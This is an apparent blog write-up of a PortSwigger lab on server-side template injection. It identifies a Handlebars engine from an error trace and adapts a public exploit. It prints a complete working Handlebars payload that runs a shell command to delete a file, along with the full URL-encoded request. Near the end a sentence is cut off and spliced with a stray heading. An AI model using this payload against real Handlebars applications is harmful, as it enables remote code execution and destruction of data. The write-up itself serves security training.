The lab
here is how portswigger describes it
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
the last lab had us read the engine's own docs to build a payload from scratch. this one goes a step further into the real world. the engine is not named for us, there are no credentials, and the exploit is nasty enough that we are expected to find someone else's working one and bend it to our target rather than hand write it.
when you do not write the exploit ?#
not every template engine has a clean one liner for code execution. some of them, especially the javascript ones, only fall over after a long and fiddly chain of steps that someone smart already worked out and published. there is no shame in standing on that. the skill being tested here is identifying the engine, finding the public exploit that matches it, and adapting that exploit to do what you need, which in this case is deleting a file.
so the job splits into two halves. first work out what engine is running, same breaking trick as before. then go find the documented exploit for that exact engine and swap in your own command.
Step 1 - Find the injectable parameter#
there is no login here and no credentials, just a public product catalogue. clicking into some products throws back a message, and one of them reads that the product is out of stock.
the interesting part is where that message lives. it comes back in the url as a parameter, something like /?message=Unfortunately this product is out of stock. that is the same pattern we saw back in the very first lab, user controlled text getting reflected onto the page through a parameter, which is a prime candidate for the template engine evaluating it.

Step 2 - Fingerprint the engine with a fuzz string#
since we have no idea which engine is behind this, we do not guess one syntax at a time. we throw a single string that mixes the special characters from lots of different template languages at once and see what breaks.
${{<%[%'"}}%\
this is a deliberate mess. it contains bits of syntax from freemarker, jinja, erb, handlebars and others all mashed together, so whichever engine is running, at least part of this will be invalid to it and force an error. we drop it into the message parameter and look at what comes back.
what comes back is a full node.js stack trace, and it is very chatty.
Error: Parse error on line 1:
${{<%[%'"}}%\
---^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19)

the paths in that trace point straight at a handlebars module, so the engine is handlebars running on node. that is everything we need to go looking for a documented exploit.
Step 3 - Find and understand the documented exploit#
searching for handlebars server side template injection turns up a well known exploit originally posted by @Zombiehelp54. handlebars deliberately does not let you just call functions inside a template, so the exploit is a workaround that walks around that restriction instead of punching through it.
here is the idea in plain words. handlebars has helpers like #with, lookup, push and pop for poking at strings and arrays. the exploit abuses them to climb from an ordinary string up to its constructor, and in javascript a function's constructor is the Function constructor, which can build a brand new function out of a string of code. once you can build a function from a string, you make one whose body is return require('child_process').exec('rm /home/carlos/morale.txt'), then call it. child_process.exec is node's way of running a shell command, so that line deletes carlos's file. all the push and pop noise is just the exploit assembling that code string and the constructor call piece by piece using the only tools handlebars gives it.
the version adapted for our command looks like this:
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
the one line in there that matters most to us is the this.push "return require('child_process')..." line, because that is where our actual command lives. everything wrapped around it is plumbing to get that string executed.
Step 4 - Url encode the payload and solve#
this whole thing is going into a url parameter, so every special character, every brace, quote, space and newline has to be url encoded or the request will mangle it before it ever reaches the engine.
after encoding, we set the whole blob as the value of the message parameter in the url. the final request looks like this:
/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d

we send that request. the engine renders our borrowed template, the constructor trick builds the function, node runs `rm /home/carl# server side template injection in an unknown language with a documented exploit

with this, the lab is solved!
